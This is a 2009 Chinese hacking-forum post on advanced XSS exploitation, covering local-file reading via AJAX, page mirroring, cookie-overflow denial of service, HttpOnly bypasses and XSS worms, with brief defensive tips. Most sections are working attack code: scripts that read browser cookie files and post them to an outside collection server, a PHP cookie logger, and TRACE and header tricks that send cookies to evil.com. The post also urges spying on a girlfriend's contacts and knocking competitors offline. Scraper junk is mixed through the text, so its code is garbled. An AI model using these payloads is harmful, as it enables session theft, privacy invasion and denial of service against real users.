XSS的高级利用部分总结 -蠕虫,HTTP-only,AJAX本地文件操作,镜象网页. W9 d5 ?' t9 w
本帖最后由 racle 于 2009-5-30 09:19 编辑
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XSS的高级利用总结 -蠕虫,HTTPONLY,AJAX本地文件操作,镜象网页( o4 o( _" H5 d$ D! u- \# X
By racle@tian6.com 2 v1 F I d; L3 d4 t8 P8 ^% \! e
http://bbs.tian6.com/thread-12711-1-1.html. E1 H8 }1 G) F8 g- V" s) ?
转帖请保留版权
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" O4 Y9 H3 R- {! ~! n) k' S, ^! S-------------------------------------------前言---------------------------------------------------------: m( S) _5 C- y; T
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. l, r+ u) c; c$ m本文将撇开XSS语句,JS脚本,如何无错插入XSS语句,如何过滤和绕过XSS语句过滤,CSRF等知识点.也就是说,你必须已经具备一定XSS知识,才能看懂本文.
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: o# I% B. m2 h. b! w如果你还未具备基础XSS知识,以下几个文章建议拜读:
" d" X4 |# |6 n4 ?% a+ b% o' chttp://www.lib.tsinghua.edu.cn/chinese/INTERNET/JavaScript/ JavaScript中文简介! p- a4 J1 C* u# _1 T6 G
http://www.google.com/search?q=XSS+%D3%EF%BE%E4 XSS语句大全
) D* G1 o8 ?1 n, R' s+ m. \0 khttp://www.google.com/search?q=XSS+%C8%C6%B9%FD XSS语句绕过+ r, N* J: ?5 v9 r5 { S( R- c. ~
http://www.80vul.com/dzvul/sodb/03/sodb-2008-03.txt FLASH CSRF y1 s, O' `! w1 a, b! p4 H
http://bbs.tian6.com/thread-12239-1-1.html 突破XSS字符数量限制执行任意JS代码
# A; H! {' ]" Hhttp://bbs.tian6.com/thread-12241-1-1.html 利用窗口引用漏洞和XSS漏洞实现浏览器劫持
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9 ^, i* h7 _3 P+ b& A5 U) V如果本文内容在你眼里显得非常陌生,或者难以理解,或者干燥无味,那正代表你对XSS了解甚少.
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# v; } V7 s5 I* N5 A, \希望天阳会员本着技术学习为主的精神,真正的学习和掌握每门安全技术.因此,如果你来天阳是因为你想真正学会一些什么东西的话,请静下心来,看懂,看透,实际测试弄通本文.那么你对XSS的驾驭能力,自然大幅提高.4 t1 R; B% J; U2 F' W1 X
0 v! [8 B- F/ c5 M" s8 p, M) K如果你认为XSS是无足轻重的问题,只不过是常见的一个弹窗,或者你认为XSS作用域狭窄,或者你认为XSS威力微不足道,那么请先看看以下片段:Twitter遭遇疯狂XSS 6次XSS蠕虫版本变化,
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3 U/ g; w: x7 ]" FBaidu xss蠕虫 感染了8700多个blog.媒体影响力,关注度巨大
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' U- a( @/ Y) h2 I0 NQQ ZONE,校内网XSS 感染过万QQ ZONE.* [/ T8 v, u, N: J1 C+ {% j# _$ I
6 A3 K/ i( |) y7 OOWASP MYSPACE XSS蠕虫 20小时内传染一百万用户,最后导致MySpace瘫痪2 j6 _* j( X# M; S# O
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- y. ^1 X/ Z, a- u$ H R复制代码------------------------------------------介绍-------------------------------------------------------------
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9 Y( T. R* k) s3 o什么是XSS?XSS又叫CSS (Cross Site Script) ,跨站脚本攻击.它指的是恶意攻击者往Web页面里插入恶意html代码,当用户浏览该页之时,嵌入其中Web里面的html代码会被执行,从而达到恶意用户的特殊目的.XSS属于被动式的攻击,因为其被动且不好利用,所以许多人常呼略其危害性.
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跨站攻击有多种方式,由HTML语言允许使用脚本进行简单交互,入侵者便通过技术手段在某个页面里插入一个恶意HTML代码——例如记录论坛保存的用户信息(Cookie),由于Cookie保存了完整的用户名和密码资料,用户就会遭受安全损失.当然,攻击者有时也会在网页中加入一些以.JS 或.VBS为后尾名的代码时,在我们浏览时,同样我们也会被攻击到.+ z8 w& _% R2 j ~: {/ w! `. l
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如何寻找,如何绕过各种限制,成功无错的执行XSS代码,我们在这里并不讨论.相关的文章在网上也有很多.
) K9 f2 ]$ t2 p' L8 V) g复制代码现今XSS替代了SQL-INJECTION,成为web security课题的首位安全问题.XSS已经成为WEB安全的重要课题.
$ c* @+ D/ ]; U/ X. z# H9 g$ M; `我们在这里重点探讨以下几个问题:5 I j5 H6 D, L: e. z9 f
+ Z) |, H( _8 Q" n* w1 通过XSS,我们能实现什么?- t0 U! x( H* D& T
0 R1 h) G8 k- C* o+ i* Q2 如何通过HTTP-only保护COOKIES. 又如何突破HTTP-only,又如何补救?
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8 m& _5 z0 N& b& T" c3 XSS的高级利用和高级综合型XSS蠕虫的可行性?$ ^5 X5 e# F* Y" l
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4 XSS漏洞在输出和输入两个方面怎么才能避免.
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------------------------------------------研究正题----------------------------------------------------------
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% K- z' F, }3 {4 l通过XSS,我们能实现什么?通过XSS,我们可以获得用户的COOKIES等信息,模拟用户本身进行HTTP提交,读取客户端本地文件,欺骗社工.结合以上功能,我们还能写出综合高级蠕虫.
1 [, U$ [8 e! P; r9 E6 V复制代码XSS的高级利用与及综合性XSS高级蠕虫:我们主要讨论XSS在不同的浏览器下的权限限制&&XSS截屏;镜象网页,http only bypass(Cross-Site Tracing XST).写出我们自己的高级XSS蠕虫0 {, n. G' g9 s" N
复制代码XSS漏洞在输出和输入两个方面怎么才能避免.
9 j1 U+ B) m7 m3 j, g2 u% y' ^1:为网站各个动态页面分安全等级,划分重点和次重点区域,分等级采用不同的输入限制规则./ i& u3 S7 A7 O7 }" l
2:严格控制输入类型,根据实际需求选用数字,字符,特殊格式的限制.7 V/ x: h+ K' H, N
3:在浏览器端输出时对HTML特殊字符进行了转义,常见采用htmlspecialchars,htmlentities.但是过滤了特殊字符,并不意味就是安全的.很多绕过方法都是争对单纯过滤进行的,譬如URL,8进制,16进制,String.fromCharCode转编码,UBB绕过等.因此应注意每处接受动态输入的代码审计.数据保存在innertxt,标签属性均应处于“”内.+ J8 O& I. ]+ T" M
4:Http-only可以采用作为COOKIES保护方式之一.
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(I) AJAX在不同的浏览器下的本地文件操作权限 读取本地的COOKIES,常见的敏感文件如:FTP的INI,etc/shadow,各种第三方应用程序的敏感文件等,并且将内容反馈给攻击者)
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我们可以参考空虚浪子心的两篇文章,与及XEYE TEAM的统计信息: 1: ie6可读取无限制本地文件.ie8以及相应版本的trident内核浏览器对ajax本地执行时的权限控制得很死的,看来MS对IE这类安全风险比较重视。(这有一些问题,随后修正!)3 g h: C% @/ }6 s
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2: ff 3.0.8及以下版本允许本地执行的ajax访问当前目录下的文件内容。其他目录暂无法访问。/ |3 t8 O3 B2 ]" |! U$ q
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' _6 u, @- J% t) P 3: opera9.64及以下版本允许通过指定url为file://协议进行访问;如果文件在当前目录下,则不需要指定file://协议;如果文件在同一盘符下甚至可以超越目录的方式访问:../../boot.ini。
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) w* m6 C3 |' M, E8 {; N7 P6 _ 4: 基于webkit内核:google chrome、遨游3.0、safari等浏览器对本地执行的ajax权限没做任何访问限制./ d" j- p( p$ }$ n
复制代码IE6使用ajax读取本地文件 <script>7 z9 m1 |0 D' x9 g n4 m
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function ajax_obj(){( J# n6 n0 W" I- l) t' H$ |
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var request = false;- d1 {1 P$ n/ Q+ r
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if(window.XMLHttpRequest) {
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} else if(window.ActiveXObject) {
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'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];
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try {
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}
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}
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function _7or3(_m,action,argv){5 O$ m9 y- [$ c+ K; S) X6 _% L
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_x.open(_m,action,false);
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_x.send(argv);4 t y* F2 h& [; Q3 H. N8 E5 ?
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return _x.responseText;
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}
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alert(txt);5 l! f% r# {* x1 f& m7 i
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) U3 E/ r e. o# l </script>
, }' \- z4 ^" q6 C复制代码FIREFOX 3使用ajax读取本地文件,仅能读取同目录,及其下属目录下文件. <script>
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function ajax_obj(){
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request = new XMLHttpRequest();
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} else if(window.ActiveXObject) {
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$ l+ k8 I. I7 C1 b: {7 r# I var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0', 'Msxml2.XMLHTTP.6.0', 'Msxml2.XMLHTTP.5.0',% h3 e' p; a+ h* I6 N6 D' ]& T2 @
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1 f/ h7 S' S0 E7 U. d. q$ \ 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP']; q5 {7 S. n, V# ?9 W* ]% O( `
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request = new ActiveXObject(versions);; D6 E1 L6 E' ?# ~1 ?' h
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}
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7 |4 j4 a; {2 k" X. B function _7or3(_m,action,argv){' Y5 g, y( C0 i+ z- u" x2 G
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if(_m==" OST")_x.setRequestHeader("Content-Type","application/x-www-form-urlencoded");
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_x.send(argv);3 C% ^0 T, J& s9 K
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var txt=_7or3("GET","1/11.txt",null);# f& A( p9 V9 x' m4 x
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alert(txt);
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</script>
8 Y: v+ U1 @& X3 K1 ?2 j6 p复制代码Google Chrome使用ajax读取本地文件Chrome的cookie默认保存在"C:\Documents and Settings\administrator\Local Settings\Application Data\Google\Chrome\User Data\Default\Cookies”
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7 z/ A( v, `7 C* y7 WChrome的历史保存在"C:\Documents and Settings\administrator\Local Settings\Application Data\Google\Chrome\User Data\Default\History". y3 E2 Q3 w4 s6 u% ?9 T8 v
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& z& S+ g4 T4 f! Z3 L4 a Chrome 1.0.154.53 use ajax read local txt file and upload exp & J* }1 o/ \ h! z7 w7 R
3 h* v7 `- @7 y3 f! v( C% w8 F www.inbreak.net 6 ^2 s" g" J% U
3 @1 x) ~' K4 I' s+ K& u$ s author voidloafer@gmail.com 2009-4-22 $ g; L; [. h9 W$ P* D* Y
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http://www.inbreak.net/kxlzxtest/testxss/a.php get cookie and save.
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*/
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0 l$ J- a# ~8 V8 V1 Z6 Xheader("Content-Disposition: attachment;filename=kxlzx.htm");
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8 |4 I% Z @3 a2 Iheader("Content-type: application/kxlzx");
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( l6 R7 K. M* {# R; h+ V set header, so just download html file,and open it at local. * f3 k* p* t# x/ V- p
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5 j9 F' R, ~) z: V3 w, X1 @<form id="form" action="http://www.inbreak.net/kxlzxtest/testxss/a.php" method=" OST">
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<input id="input" name="cookie" value="" type="hidden">
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* p' ~; h0 p$ Q3 W" x<script>
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function doMyAjax(user)
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var time = Math.random(); ; q2 S# l; r# Y [, ?
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the cookie at C:\Documents and Settings\kxlzx\Local Settings\Application Data\Google\Chrome\User Data\Default 6 L+ d* J, @) C4 E7 [- ]! }
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and the history at C:\Documents and Settings\kxlzx\Local Settings\Application Data\Google\Chrome\User Data\History 2 Q& D7 h7 S7 @0 v% K
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and so on...
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var strPer = 'file://localhost/C:/Documents and Settings/'+user+'/Local Settings/Application Data/Google/Chrome/User Data/Default/Cookies?time='+time;
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startRequest(strPer);
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}
9 ]% Z9 {! R8 \0 {# N4 @8 Q' Q f3 y
5 n* w V$ U. N% N# Z# M# B 2 _; I$ A; p1 B+ B
( t+ c8 t9 g4 Jfunction Enshellcode(txt) 4 Q7 G7 X& J6 {( z. F; q1 W
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{ 6 Z7 G2 B* e2 P$ h5 k0 @: l
. L9 s1 i- k9 s! z+ [2 D( Xvar url=new String(txt); . B* x% [& ~- t- o. \" e
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var i=0,l=0,k=0,curl="";
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l= url.length; 0 M# c0 w6 t" ~
2 G* a% F7 b3 S$ F
for(;i<l;i++){ : Z2 c; H8 F; n1 S3 ?1 F
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k=url.charCodeAt(i);
! u7 `! W2 B4 E( p" H; Z
* [* K( V, m y& S' b; tif(k<16)curl+="0"+k.toString(16);else curl+=k.toString(16);}
% ]1 e$ F( |8 t9 g4 i7 j% E# e, ^3 h
if (l%2){curl+="00";}else{curl+="0000";}
$ F. M: P! Z# I: A* j ]
1 r& u0 G$ Q- E3 L7 t8 p+ k" X. `curl=curl.replace(/(..)(..)/g,"%u$2$1"); 8 z( p( N B! {# C- @
5 [6 x0 \3 B/ U/ q1 x7 V
return curl;
+ U3 _! n: A% l% Z, K4 o- j3 `; ~) v4 O7 T2 |2 b# ]5 M# k) x9 _+ D
} e) y& R/ ?! {+ y
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& {! q9 C0 B; F- N
2 u" m' W4 x# a3 r
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var xmlHttp;
. y7 K- Z& y" C$ W- l4 v# I& k; i2 h8 r. G3 M
function createXMLHttp(){ + m2 u1 }- D" c% x5 p2 C$ [
' @4 a4 p' \5 C$ x if(window.XMLHttpRequest){ 7 K, _5 t8 X; E! n& |- k
: |# u: e* j$ d" {; {
xmlHttp = new XMLHttpRequest(); . }* E; _+ }- n& Y; c
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} - S/ R# Q# h2 v9 i p
/ q0 `* w' A; I4 `9 {
else if(window.ActiveXObject){
: h7 ?. F9 b; z% a
/ g9 k! Q" c) P4 X. C L% lxmlHttp = new ActiveXObject("Microsoft.XMLHTTP");
% }2 N) \0 S, M% k j7 |6 J( [# Q3 ]% `4 \. ?0 X
} + N4 H* _; T. s8 M$ P/ ]! z
1 L9 {* l4 ^; L: G9 p/ }$ Y% i
}
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2 ?0 V& O; ~- W* }! l9 C* R; F ) @5 z7 |: X: N1 ^ I
% r5 @' ]; x* E- o/ j* [function startRequest(doUrl){ 0 h4 X* c2 a9 R
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. } | g7 w/ X- W
4 M8 s5 c! q# m/ x' { createXMLHttp(); ( s2 N3 d) D8 \
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; }3 q; u1 ~# U) T" e( n
: G7 H. R9 n' I( |
xmlHttp.onreadystatechange = handleStateChange;
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xmlHttp.open("GET", doUrl, true); B6 \6 U# Y) W9 u/ _& S
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, f0 I/ l' w- ?; ~1 |6 c0 X
) e4 P2 o9 q: _ xmlHttp.send(null);
3 |* A# d2 W( R3 O+ F4 c
1 S9 m" @2 G5 a$ t+ r4 t+ @0 U0 _' D: t& x4 k8 R( b; {
4 P, G0 O" o$ A" d
8 t8 i# s, C4 n3 c$ s
5 y! U9 C s; g. a3 b}
, H1 i0 o8 @$ n% Q6 r, b$ M4 P8 H$ D& m% V+ Z" \# b% r" z
& J m+ r' e4 s' c- T/ ]
6 Y0 r# G3 u# Q' Sfunction handleStateChange(){
# u# _4 v# o+ t2 q5 f6 P7 e2 Y
* Q* U' w& |) C5 m if (xmlHttp.readyState == 4 ){ 4 m% _# d/ p* R) z2 ^! I0 @
' C7 ]4 k9 [; ?& b% z+ F( X var strResponse = ""; * K, Q: r# k% p
# l3 s3 Q) W+ ~/ C setTimeout("framekxlzxPost(xmlHttp.responseText)", 3000);
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9 z8 I0 D& A: R! U, m9 x! K: e- E/ L5 i1 |+ F2 f5 I- t& w* m* r
}
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}
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8 O0 [. J# J, @9 m+ ?: O x
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function framekxlzxPost(text) 8 y& P0 J; S, Y/ H5 Q+ O1 ]
% n' ^4 W& F, @9 c{
9 _3 u# ~3 |4 _( o
% |6 X/ w# f M. t9 c v document.getElementById("input").value = Enshellcode(text); , E" \* v% p% v. {
' ]' U6 S8 [2 h1 k9 _8 f document.getElementById("form").submit(); $ \2 U' s3 I2 w1 |6 s
2 o1 |# {: Q$ m
}
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$ K/ w4 X0 [4 k2 ^8 i6 _4 { 3 u/ m2 Z9 M" c$ x! ?5 Y
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doMyAjax("administrator"); * E; y7 |( R+ o7 y- v& G, \ X
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* N- l& Z# B" _; v</script>
6 ?% L) b: |' m ^' c l2 y复制代码opera 9.52使用ajax读取本地COOKIES文件<script>
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- K) {% R; i2 R0 I) j0 ^var xmlHttp;
q8 G/ S: A+ I6 g
7 [$ e: ]5 n8 w4 x% i+ r; j2 Tfunction createXMLHttp(){
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if(window.XMLHttpRequest){ ; A6 I5 R, @3 S( l2 F
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xmlHttp = new XMLHttpRequest(); ; {* y1 c% {4 {
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} 8 H7 N$ R" {2 L+ x* ~
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else if(window.ActiveXObject){ 1 f2 i0 v# x5 |2 d
$ O1 b+ }" ~8 f xmlHttp = new ActiveXObject("Microsoft.XMLHTTP");
5 P z- Y. d, U/ J6 M/ c: Z' Z: ?& i* D* J M6 U/ V2 j* [% F
}
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+ x0 I, c6 T6 f} 1 j; B8 Z' x$ ]9 a/ i( b
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; ~/ @7 f4 A# A" _/ vfunction startRequest(doUrl){
2 e2 C7 Y' M, y5 X8 J1 u) O4 ?" m6 W" _; q# Y9 A
. y+ q# O | p* \: g' P$ g
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createXMLHttp(); 3 t8 X9 D3 j/ T6 M) ~
2 n9 T! s5 d4 }: U
% X: z: c- \2 O j2 \) U! k' q7 j
3 Z: O0 k' i0 E1 v+ W xmlHttp.onreadystatechange = handleStateChange; - }& I2 n1 X: }+ ]0 J
& n; I' P3 t% @3 r1 k7 @. I/ e3 X , G: {# r& L- |: f' ^7 S) N
$ i2 p& S* @* `- w xmlHttp.open("GET", doUrl, true);
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6 d1 ?0 S/ \/ i" {
3 M& b# a7 K& d& z4 l2 j xmlHttp.send(null); + `: ~2 T3 \: d8 q: r
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2 |9 N" P3 m- F* J3 n. u' i/ B' j; ]- O, _5 `) I& M" F2 k1 R; p
} $ R* `$ b$ V/ I' S1 k' u" A
1 g4 u* W: L) n! d$ t 9 H2 z6 M8 \$ k: j& V. a: i7 s
. Z4 o% t `1 Pfunction handleStateChange(){ % x0 L* T7 w& q2 `! d
! n+ G% u( j0 T3 G6 P N- U if (xmlHttp.readyState == 4 ){ 1 T: g8 P. F5 j" V' N
% x9 b- [8 }+ @8 _- Z
var strResponse = ""; 2 |# u: W+ p! g
, A8 e7 L2 }' q" x setTimeout("framekxlzxPost(xmlHttp.responseText)", 1000);
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} 6 ]" a9 ^5 `1 Y) p/ W
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function doMyAjax(user,file)
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{ / |3 D6 T; B8 R' y# j0 X
/ U. X) w- O1 @) [ W0 J, e var time = Math.random();
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! k% E7 p1 t9 [: F6 X var strPer = 'file://localhost/C:/Documents%20and%20Settings/'+user+'/Cookies/'+file+'?time='+time;
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7 N) o0 E7 B& b) {9 o4 G7 Q7 T2 a! j8 c" I9 I
startRequest(strPer);
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2 j- `8 v' p7 F" C8 n! v
/ q! K Z9 Q# u. G3 C, O* v- T) r+ H. V} ! l* m+ \! W/ q: V! Z" U
. O* u( `: i* r1 d, ]6 O( F
, {5 u9 N. Y# [6 b8 X) ~0 G
5 K4 y9 h& \/ M; t- tfunction framekxlzxPost(text) 6 m6 G- u, k7 t H' x6 s
. w0 P1 _$ J0 k- Z: ?# W{
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0 B# p3 C `- j2 q1 a8 O; W document.getElementById('framekxlzx').src="http://www.inbreak.net/kxlzxtest/testxss/a.php?cookie="+escape(text);
# I2 s* a2 G" y
1 v/ V! g7 H; O4 ` alert(/ok/);
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5 y+ w/ K/ ~9 j* g4 N} ' }* n1 ]+ p; F- ~4 J5 `; V5 i
: ?' i. Y) e: Y# A i , U, J6 h! A# v4 i# W1 L8 d& F
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doMyAjax('administrator','administrator@alibaba[1].txt');
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</script>
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5 G+ X% a1 a0 @1 C8 C! A) O0 o" z" N1 x# A# D" [$ r* |
a.php; p) H3 d3 ^- v1 h+ }$ c
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+ I! Z2 A0 s/ e: U4 ~1 |, B
|! G! p& r! h* h<?php
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+ P0 H2 ~3 L$ M1 }7 B. k
& c5 d! h' ]# J) @2 _. D% [3 t$user_IP = ($_SERVER["HTTP_VIA"]) ? $_SERVER["HTTP_X_FORWARDED_FOR"] : $_SERVER["REMOTE_ADDR"]; 9 F, A! B! P" f9 \
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$user_IP = ($user_IP) ? $user_IP : $_SERVER["REMOTE_ADDR"];
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$fp = fopen($user_IP.date("Y-m-d H:i:s")."cookie.txt","wb");
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fwrite($fp,$_GET["cookie"]); 7 I* J; V \+ \1 J" ~3 o" h% M+ T
: w* ]: S( a" i5 ~7 Wfclose($fp); U& {! I( d X
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?> : k# G$ T( r( C0 U9 D
复制代码(II) XSS截屏-镜象网页与XSS实现DDOS:
+ d$ T' g+ [% |7 `9 {
8 j' Z5 C0 x8 y4 R5 p; K6 \- |/ [或许你对你女朋友的校内网里的好友列表感兴趣,又或者你对你的客户部竞争对手的电话通信记录感兴趣,那么这个由XEYE TEAM提出的新想法,对你就有用.* r1 d4 B1 r: d- ?
利用XSS获得指定的受控者授权状态下的页面源代码,再传发到目标页面,处理好相对路径,那么攻击者就能截取任意一个受控端的授权状态下的镜象网页.达到类似远程控制程序截屏的功能.# X. O5 N% i8 U1 B3 A& v5 ]! B- ]
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代码片段://xmlHttpReq.open("GET","AWebSiteWhichYouNeedToCatch.com",false);* N# ?* ~& _" i8 i( z( H8 o8 Q; h
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//xmlHttpReq.open("GET","http://friend.xiaonei.com/myfriendlistx.do",false);
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//xmlHttpReq.open("GET","http://chinatelecom.com/mylistofnopermonth.jsp?no=139xxxxxxxx",false);
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function getURL(s) {
$ a, [8 x6 b r3 t8 A4 H- p$ r( j
$ d3 {& ?/ j+ ~- J: y/ Q+ E3 r, Rvar image = new Image();5 b+ e' U9 o- Q# y7 I
+ q$ t- T9 v( M) Q- W
image.style.width = 0;
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6 c0 H. B$ ]/ Uimage.style.height = 0;
8 G1 o% [5 K e% C
' t3 S( d/ j P% Yimage.src = s;3 G! ]5 A% j: o6 z: a9 l
X) i0 X- A0 q) {8 D9 ^7 f}
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1 L" z3 f/ c& C1 p7 HgetURL("http://urwebsite.com/get.php?pagescopies="+xmlHttpReq.responseText);- F/ s0 K" p4 c( G1 k' E/ T! Q% |
复制代码XSS也能大材小用DDOS? 利用XSS操作COOKIES,导致HEADER部分过大,引发IIS或APACHE等服务端CRASH或者拒绝响应.生效时长与COOKIES允许保存时间相等.
/ W1 ?) N- @! |* U( I- H- B这里引用大风的一段简单代码:<script language="javascript">0 o. ], T9 [- ~) f, m5 i
- Y8 j% j0 y# d$ Q* ^$ B$ ~ _
var metastr = "AAAAAAAAAA"; // 10 A
0 w L; A( U. T7 t( o3 h* S$ }
; `! F% l' I! ^var str = "";* Q3 J7 B6 ` a6 q4 M1 [
2 J' X. r* Q/ _1 c- Hwhile (str.length < 4000){
- J. ^' I/ P* a! N
$ }4 w! |+ L1 ^. |# @; A str += metastr;# D2 T- J5 u% Z
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6 ?: s: _ U0 ^6 X5 Z O$ S2 ]
$ h# |8 v4 j+ Qdocument.cookie = "evil3=" + "\<script\>alert(xss)\<\/script\>" +";expires=Thu, 18-Apr-2019 08:37:43 GMT;"; // 一些老版本的webserver可能在这里还会存在XSS
% E% e6 u3 V5 Y$ I% n1 H+ `$ Z
</script>6 R" V0 B& F( F' K. Q/ y
% F: Z, f/ B. m" y9 {8 R% Q详细代码请看:http://hi.baidu.com/aullik5/blog ... aeaac0a7866913.html% I4 | \ Q5 o6 Y! _
复制代码如果你觉得XSS用来DDOS太可惜的话,这里也提供另外一篇文章供你参考,随与XSS无关,但是却也挺有意思.
# J/ G, l+ c4 Q m. c9 I& [server limit ddos利用随想 - 空虚浪子心 http://www.inbreak.net/?action=show&id=150; \' b2 w y- S; Z v
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假设msn.com出现了问题,被XSS了.并且攻击者把COOKIES 设置成yahoo.com的.那么所有访问msn.com的用户将无法访问yahoo.com.! Y* m* b' y$ Q6 h
攻击者在自己的网站上iframe了server limit ddos,目标设置为竞争对手myass.com,那么所有访问过攻击者网站的人,将无法访问其同行竞争对手myass.com的网站,这样不很妙么?呵呵.5 E# ~6 M9 a' I' q" H
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7 O3 H) h- H1 v8 x3 ?2 p(III) Http only bypass 与 补救对策:
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什么是HTTP-ONLY?HTTP-ONLY为Cookie提供了一个新属性,用以阻止客户端脚本访问Cookie.
5 O/ {/ V8 l& x# K以下是测试采用HTTPONLY与不采用时,遭受XSS时,COOKIES的保护差别。<script type="text/javascript">6 T4 @7 |7 b6 T( `$ K' d" [3 a# N" n1 n
|: n4 C# f9 @9 T% Y. g<!--
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) R! J+ Z8 c6 s1 b" Pfunction normalCookie() {
5 \( D+ g9 d; \) h0 I% Q9 f
; P! U$ {* M+ Zdocument.cookie = "TheCookieName=CookieValue_httpOnly";
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alert(document.cookie);0 v* G, f4 d7 f/ L9 d( L
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. ?7 J; ~ I! s5 L @2 b0 e7 z
1 N- S4 ~% P% T) h9 j2 `; xfunction httpOnlyCookie() { 5 j: o a# h1 i' y$ |4 L% r
/ V( s Y, y8 X* _4 gdocument.cookie = "TheCookieName=CookieValue_httpOnly; httpOnly";
( ^3 v B3 B% S6 F1 H" @1 z0 I0 {5 M# m/ Z
alert(document.cookie);}" L! u. l3 P/ N# B3 p
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$ N R1 n4 _( V1 L: N, V& r//-->
+ G/ k, f/ R# D T: G/ `+ K
+ j& C3 S1 X2 m; X7 l</script>
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: W( |% L/ g9 n: }) F" b
" z1 a8 F2 o' V; S! t6 v$ j1 r# T3 X<FORM><INPUT TYPE=BUTTON OnClick="normalCookie();" VALUE='Display Normal Cookie'> M5 \5 g; N! _
/ G$ R: F9 w2 @1 i. G: d
<INPUT TYPE=BUTTON OnClick="httpOnlyCookie();" VALUE='Display HTTPONLY Cookie'></FORM>
( C, w8 Z6 E6 H复制代码但是采用HTPPONLY就安全了吗?不一定.采用TRACE获得HEADER里的COOKIES:<script>) F* ?! A/ Y* @/ J( r) s! p
2 ]% P# V& N( W, B9 t$ m
8 l0 E7 O) }* s0 C3 o' [
* K# C+ ?9 Y( ~/ D7 k$ U0 j- Z
var request = false;
% b3 @/ e) g7 i: i+ t8 x/ M" Y
if(window.XMLHttpRequest) {
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request = new XMLHttpRequest();
1 p7 }* Q) L' O( X, s
! d: U: \7 v) d( E7 U( n if(request.overrideMimeType) {3 P7 F4 L0 l. p; q, P
2 b5 a3 c4 O7 W4 ^' H% Z. R* t% @ request.overrideMimeType('text/xml');
% V8 q" Z- t# b/ U( e! p
) e+ P2 w& F- R/ n6 y% d, _/ l }
9 e9 k& m' m* A" K, x
; n+ @1 a* b3 G1 K2 ~' i. c+ @5 o } else if(window.ActiveXObject) { |! w' L" |6 v
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var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0','Msxml2.XMLHTTP.6.0','Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];
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for(var i=0; i<versions.length; i++) {# R& T- t/ H) [5 Z/ t
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try {
6 I |" \8 Z' |! c& T1 D x8 T: b% n4 d- d( V( q$ r# M, Y6 P5 t
request = new ActiveXObject(versions);
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4 r; H" S, L5 B( b9 Q$ h; t7 q* ~ } catch(e) {}
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xmlHttp=request;- T5 l2 x, |3 z/ O/ {# Q
& k) o7 k1 B1 B( RxmlHttp.open("TRACE","http://www.vul.com",false);: h5 L. O9 c" n3 O, z
# U0 H B2 H/ xxmlHttp.send(null);1 a+ H- v' Q S! J5 X
/ B3 y- G2 m6 |( M' Y J6 m: g, g
xmlDoc=xmlHttp.responseText;
a1 z! k) B. ]
/ h% B( {! p% I+ p5 w3 Jalert(xmlDoc);
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</script>
* i% g4 V/ K( f* ?3 y复制代码但是许多网站并不支持TRACE调试命令,那么我们还可以通过访问phpinfo();页面,筛选带有COOKIE的字段值.<script>
# |5 c# s, j. N* [& ~
( c5 P( f! k) }9 p7 [" E3 u+ W/ Svar XmlHttp = new ActiveXObject("Microsoft.XMLHTTP");" z: {$ {/ S/ W$ t4 O+ L; K" B* l" l
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XmlHttp.open("GET","http://www.google.com",false);
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4 m$ Y- z2 @; f0 C. d# i WXmlHttp.setRequestHeader("Host","www.evil.com/collet.php");9 I8 s1 n) \; h: x, \- x
8 r1 ?# T5 j) t3 ]; Q- _XmlHttp.send(null);9 y H0 g' b4 [6 u% p7 S' Y3 m. r. h
& s" s t$ T' i; R
var resource=xmlHttp.responseText
5 i# b& H* _/ F. u
* D" Z5 I$ t% Presource.search(/cookies/);
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......................+ f# _+ Y% ]' s2 w$ o% C* z
E; F4 I* @( x7 G* l2 E</script>
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! C+ z/ y$ h/ x6 e" I
: q+ _; A) K ?7 {) N. g) t2 {$ A" I; ?0 ]# ~
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: u. y; b4 x2 c% t; @
如何防止对方采用TRACE访问你的网站?APACHE可以采用.htaccess来Rewrite TRACE请求7 w6 {. L, |6 r: O2 I. Y
: _+ i* J* s* t& O
[code]# D, A, R' m/ E7 q" O& ~) r
, P) h! ^: g5 j9 NRewriteEngine On# I. a Z! h0 Z
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RewriteCond %{REQUEST_METHOD} ^TRACE
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Y# p* N: k: K$ G- i/ ^) ]. dRewriteRule .* - [F]
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& a5 J7 ]* s0 i! n, ~& V( w' JSquid可以添加以下信息到Squid configuration file (squid.conf),屏蔽TRACE请求
* M; L* m/ F+ N: o# x( P' q6 x* u1 [& S _) l
acl TRACE method TRACE
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...( R8 a1 d2 T! P5 R" Q
3 Q1 m. w; l1 ~7 chttp_access deny TRACE
2 P4 q7 a& r5 o% i复制代码突破还可以采用XmlHttp.setRequestHeader.通过setRequestHeader,把COOKIES等信息转向到目标页面.<script>
+ l) s# C/ x& K# X' F3 d k4 |$ r; J) Q
6 _2 k# k. x# y3 Z8 v% k v: z9 Pvar XmlHttp = new ActiveXObject("Microsoft.XMLHTTP");0 H* a) {7 r3 u/ ]
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XmlHttp.open("GET","http://www.google.com",false);
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XmlHttp.setRequestHeader("Host","www.evil.com/collet.php");
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XmlHttp.send(null);
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</script>: t- _! \- l4 {& C" z' @5 q" {
复制代码当Apache启动了mod_proxy,还可以使用proxy方式作为中间人方式获得受保护COOKIES.<script>6 n+ ?, ?" s) b/ ]* C
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var XmlHttp = new ActiveXObject("Microsoft.XMLHTTP");% Y6 J+ I% y" i( u
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! q d. a7 C8 l d: P7 IXmlHttp.open("GET\thttp://www.evil.com/collet.php","http://www.vul.site/wherever",false);- S. u+ E' {4 V# y: Q4 r
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XmlHttp.send(null);
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<script>
& R8 w9 L) Z; z( ]6 a复制代码(IV) 综合性的高级XSS蠕虫:什么是XSS蠕虫,他的实现,传染,工作原理,常见作用都是什么.: w2 Z \6 X' e% `
复制代码案例:Twitter 蠕蟲五度發威. W6 p8 R# [" E
第一版:+ i# G8 S L/ |& _
下载 (5.1 KB)
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" x/ Z9 N) [% R) O* J$ Q6 天前 08:27
